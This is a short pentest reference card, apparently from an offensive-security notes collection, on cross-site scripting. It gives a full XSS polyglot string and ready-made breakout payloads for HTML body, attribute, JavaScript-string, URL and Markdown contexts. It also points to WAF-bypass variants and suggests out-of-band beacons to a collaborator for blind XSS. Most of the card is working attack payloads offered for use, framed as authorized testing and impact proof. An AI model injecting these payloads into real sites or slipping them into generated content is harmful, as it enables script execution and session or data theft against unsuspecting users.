XSS polyglots & per-context payloads

When it applies

You want one payload that reveals reflection/execution regardless of where it lands, then a context-specific finisher once you know the spot. Pairs with web-xss.

Why it works

A polyglot is crafted to be syntactically valid (and break out) in multiple contexts at once — HTML body, attribute, JS string, comment — so a single injection surfaces the vulnerable context.

Payloads

Polyglot (fires broadly):

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Per context (once you know where you landed):

• HTML body: <svg onload=alert(document.domain)>
• Attribute (break out first): "><svg onload=alert(document.domain)> or " autofocus onfocus=alert() x="
• JS string: ';alert(document.domain)// or </script><svg onload=alert()>
• URL/href: javascript:alert(document.domain)
• Markdown: [x](javascript:alert(1)) / ![x](onerror)
• Attribute w/o quotes: x onmouseover=alert()

WAF-resistant variants: see payloads-waf-bypass (event/tag variety, encoding, no-parens).

Gotchas

• Prove real impact with document.domain (right origin), not sandboxed alert(1).
• Blind/stored XSS: use an OOB payload that beacons to your collaborator instead of alert.
• If it reflects encoded, you have the right context but wrong breakout — adjust, don't add tags.

References

PortSwigger XSS cheat sheet; 0xsobky "Unleashing an Ultimate XSS Polyglot".